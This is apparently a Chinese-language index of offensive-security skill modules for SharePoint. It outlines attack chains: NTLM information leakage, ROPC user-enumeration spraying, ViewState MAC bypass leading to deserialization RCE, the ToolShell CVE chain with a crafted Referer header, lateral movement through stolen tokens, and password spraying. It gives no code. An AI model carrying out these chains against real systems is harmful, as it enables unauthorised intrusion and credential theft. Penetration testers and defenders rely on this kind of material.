  • hunt-ntlm-info — 每个 SharePoint 场都会在 /_vti_bin/ 上向匿名用户提供 WWW-Authenticate: NTLM。攻击链原语:捕获 SharePoint NTLM Type-2 挑战 → hunt-ntlm-info 解码 AV_PAIR,获取 NetBIOS 域、内部 DNS 林和 DC 主机名 → 将域提供给 m365-entra-attack,对与该域关联的租户进行 ROPC 用户枚举喷洒。
  • hunt-aspnet — SharePoint 底层采用 ASP.NET Webforms;ViewState、machineKey 和 SafeControl 反射均适用。攻击链原语:泄露 SharePoint 版本 → 确认缺少相应补丁 → 使用 hunt-aspnet 通过 ViewState 双解析器 MAC 绕过 → 反序列化 gadget → 以场账户身份在 w3wp.exe 中实现 RCE。
  • hunt-rce — ToolShell 前置条件链(CVE-2025-53770)是当前影响最大的 SP RCE 攻击路径。攻击链原语:满足 ToolShell 前置条件(通过 CVE-2025-49706 身份验证绕过可访问 /_layouts/15/ToolPane.aspx?DisplayMode=Edit——在 Referer 标头中填入指向 ToolPane.aspx 的精心构造的值——且版本存在漏洞)→ hunt-rce 反序列化 gadget 链 → 获取 SYSTEM/场账户 Shell → 通过窃取的本地服务账户令牌,横向移动至 Entra 同步身份。
  • triage-validation — SharePoint 场会产生大量“看起来像发现项”的安全卫生噪声(例如 FormDigest 签发、版本泄露和扩展名阻止列表异常)。攻击链原语:报告前,使用 7 问门槛检查每个 SP 发现项——大多数仅涉及版本泄露的发现项,在“此场中是否真的可利用”这一关就会被排除,因为没有配套的 CVE PoC。
  • password-spray-methodology — 适用于所有协议的通用密码喷洒流程 + 错误代码差异

评论

支持 Markdown